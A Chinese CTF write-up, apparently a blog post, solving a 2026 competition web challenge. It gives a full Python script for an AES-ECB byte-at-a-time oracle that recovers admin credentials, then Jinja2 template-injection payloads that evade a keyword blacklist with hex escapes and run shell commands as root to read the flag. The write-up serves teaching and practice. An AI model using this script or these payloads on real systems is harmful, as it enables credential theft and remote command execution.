数字中国2026_SecureDoc Enterprise
Charmersix

这是2026年数字中国网络安全赛道的一个题目,有个考点之前没见过,所以记录一下,没有找到复现环境,只能纯文字回忆

题目分析

首页是一个普通的登录/注册页面,注册并登录普通用户后进入 /dashboard

页面里有一个“数字水印加密预览”功能,请求接口:

1
2
3
4
POST /documents/apply-template
Content-Type: application/json

{"content":"AAAA"}

前端源码中直接出现了注释:

1
// Preview with template function (ECB Oracle vulnerability)

这基本就是明示第一阶段漏洞是 ECB Oracle,那么这玩意是个啥呢,我也是第一次遇到。

什么是ECB Oracle

Oracle 在这里不是数据库,而是一个“可以反复调用的加密接口”。这里呢就是上面说的接口,服务端内部大概做了这样的事情:

1
2
3
plaintext = user_input + secret
ciphertext = AES_ECB_Encrypt(plaintext)
return ciphertext

其中:

  1. user_input是用户可控输入
  2. secret是服务器固定拼接的秘密内容
  3. 本题中,secret里包含管理员账号密码
  4. 服务端返回ECB加密后的密文

攻击者不知道 AES 密钥,也不能直接解密密文。但攻击者可以不断改变 user_input,然后观察返回密文的变化。这就是 ECB Oracle。

这里的关键弱点就在于AES,AES每16字节为一组进行加密,
比如明文:

1
AAAAAAAAAAAAAAAAusername: admin...

会被切成两块

1
2
第 1 块: AAAAAAAAAAAAAAAA
第 2 块: username: admin...

ECB模式的核心问题在于:

相同明文块 -> 相同密文块

也就是说,只要两个16字节的明文块完全一样,他们加密后的密文块也一定完全一样;所以攻击者不需要知道密钥,也不需要真正解密 AES。攻击者只需要比较密文块是否一样。

如果相等,就说明对应的明文块也相等。那就能推算出明文来

假设服务器秘密内容是:

1
username=admin

攻击者不知道这个内容,先发送15个A,服务端会拼接成:

1
AAAAAAAAAAAAAAAusername=admin

按 16 字节分组后,第一块是:

1
AAAAAAAAAAAAAAAu

也就是

1
15 个 A + secret 的第 1 个字符

服务器返回这一块的密文,攻击者把它记为目标密文块,然后攻击者枚举最后一个字符,每次都发给服务器加密,看第一块密文是否等于目标密文块。

1
2
3
4
5
AAAAAAAAAAAAAAAa
AAAAAAAAAAAAAAAb
AAAAAAAAAAAAAAAc
...
AAAAAAAAAAAAAAAu

当枚举到u,密文块相等,于是可以判断,secret第一个字符是u

同理,接下来,发送14个A,去枚举第二个字符

1
2
3
4
5
AAAAAAAAAAAAAAua
AAAAAAAAAAAAAAub
AAAAAAAAAAAAAAuc
...
AAAAAAAAAAAAAAus

恢复过程会不断重复:

1
2
3
4
5
15 个 A + 猜第 1 个字符
14 个 A + 已知 1 个字符 + 猜第 2 个字符
13 个 A + 已知 2 个字符 + 猜第 3 个字符
12 个 A + 已知 3 个字符 + 猜第 4 个字符
...

直到恢复完整 secret。

如果 secret 是:

1
2
username: admin
password: SecretPass123!

最终会逐步恢复出:

1
2
3
4
5
6
7
u
us
use
user
...
username: admin
password: SecretPass123!

核心就在于:我不能解密 AES,但我可以构造明文块,让未知字符进入块末尾,然后通过 ECB 密文块相等来判断我猜的字符对不对。

EXP

脚本核心逻辑在于

1
2
pad_len = block - 1 - (len(recovered) % block)
prefix = 'A' * pad_len

这一步实在计算本轮需要补几个A,目的:让下一个未知字符刚好落在当前16字节分组的最后一位,然后:

1
2
3
target = oracle(prefix)[0]
bi = len(recovered) // block
target_block = target[bi * block:(bi + 1) * block]

这一步是在取服务器真实secret对应的目标密文块

接着枚举字符:

1
2
3
4
5
6
7
for ch in charset:
probe = prefix + recovered + ch
ct = oracle(probe)[0]
if ct[bi * block:(bi + 1) * block] == target_block:
recovered += ch
print(recovered)
break

这里的 probe 是:填充 A + 已恢复内容 + 猜测字符

如果 probe 的密文块等于目标密文块,说明猜测字符正确。

题目完整EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
import http.client, json, random, string

HOST = 'web-25c2045268.adworld.xctf.org.cn'
PORT = 80

user = 'u' + ''.join(random.choice(string.ascii_lowercase + string.digits) for _ in range(8))
pw = 'testpass123'

conn = http.client.HTTPConnection(HOST, PORT, timeout=30)
base_headers = {'Content-Type': 'application/json'}

def post(path, obj, extra_headers=None):
headers = base_headers.copy()
if extra_headers:
headers.update(extra_headers)
body = json.dumps(obj).encode()
conn.request('POST', path, body=body, headers=headers)
r = conn.getresponse()
data = r.read()
return r.status, data, r.getheader('Set-Cookie')

post('/register', {'username': user, 'password': pw})
_, _, sc = post('/login', {'username': user, 'password': pw})
cookie = sc.split(';', 1)[0]

def oracle(s):
_, data, _ = post('/documents/apply-template', {'content': s}, {'Cookie': cookie})
obj = json.loads(data.decode())
return bytes.fromhex(obj['preview']['encrypted_content']), obj['preview']['total_length']

base_len = len(oracle('')[0])
for i in range(1, 33):
l = len(oracle('A' * i)[0])
if l > base_len:
block = l - base_len
break

secret_len = oracle('')[1]
charset = ''.join(chr(i) for i in range(32, 127))
recovered = ''

for _ in range(secret_len):
pad_len = block - 1 - (len(recovered) % block)
prefix = 'A' * pad_len
target = oracle(prefix)[0]
bi = len(recovered) // block
target_block = target[bi * block:(bi + 1) * block]

for ch in charset:
probe = prefix + recovered + ch
ct = oracle(probe)[0]
if ct[bi * block:(bi + 1) * block] == target_block:
recovered += ch
print(recovered)
break

第二阶段:后台SSTI

登录管理员后访问:/admin/dashboard

页面中有模板预览功能,请求接口:

1
2
3
4
POST /admin/report/preview
Content-Type: application/json

{"template":"{{ 10 * 10 }}"}

返回:

1
{"message":"模板预览成功","preview":"100"}

说明模板表达式被执行了。

1. 黑名单绕过

直接使用常见 SSTI payload 会被过滤,比如:

1
{{ self.__init__.__globals__ }}

会返回“检测到非法模板内容”。

这里的思路是使用十六进制转义构造危险属性名,绕过关键字检测:

1
{{ cycler|attr("\x5f\x5finit\x5f\x5f")|attr("\x5f\x5fglobals\x5f\x5f") }}

这个 payload 可以成功返回 jinja2.utils 的全局变量,说明绕过成功。

2. 命令执行 payload

利用 cycler.__init__.__globals__ 取到 os 模块后执行命令:

1
{{ cycler|attr("\x5f\x5finit\x5f\x5f")|attr("\x5f\x5fglobals\x5f\x5f")|attr("get")("os")|attr("popen")("id")|attr("read")() }}

返回:

1
uid=0(root) gid=0(root) groups=0(root)

说明已经拿到命令执行,并且当前进程权限是 root

3. 读取 flag

先列根目录:

1
{{ cycler|attr("\x5f\x5finit\x5f\x5f")|attr("\x5f\x5fglobals\x5f\x5f")|attr("get")("os")|attr("popen")("ls /")|attr("read")() }}

可以看到存在 /flag

最终读取 flag 的 payload:

1
{{ cycler|attr("\x5f\x5finit\x5f\x5f")|attr("\x5f\x5fglobals\x5f\x5f")|attr("get")("os")|attr("popen")("cat /flag")|attr("read")() }}

对应 HTTP 请求:

1
2
3
4
POST /admin/report/preview
Content-Type: application/json

{"template":"{{ cycler|attr(\"\\x5f\\x5finit\\x5f\\x5f\")|attr(\"\\x5f\\x5fglobals\\x5f\\x5f\")|attr(\"get\")(\"os\")|attr(\"popen\")(\"cat /flag\")|attr(\"read\")() }}"}

返回:

1
flag{5IhSSqUrZup8NkFoobdZmmCSpeBa9oL8}

image-20260412152505403

 Comments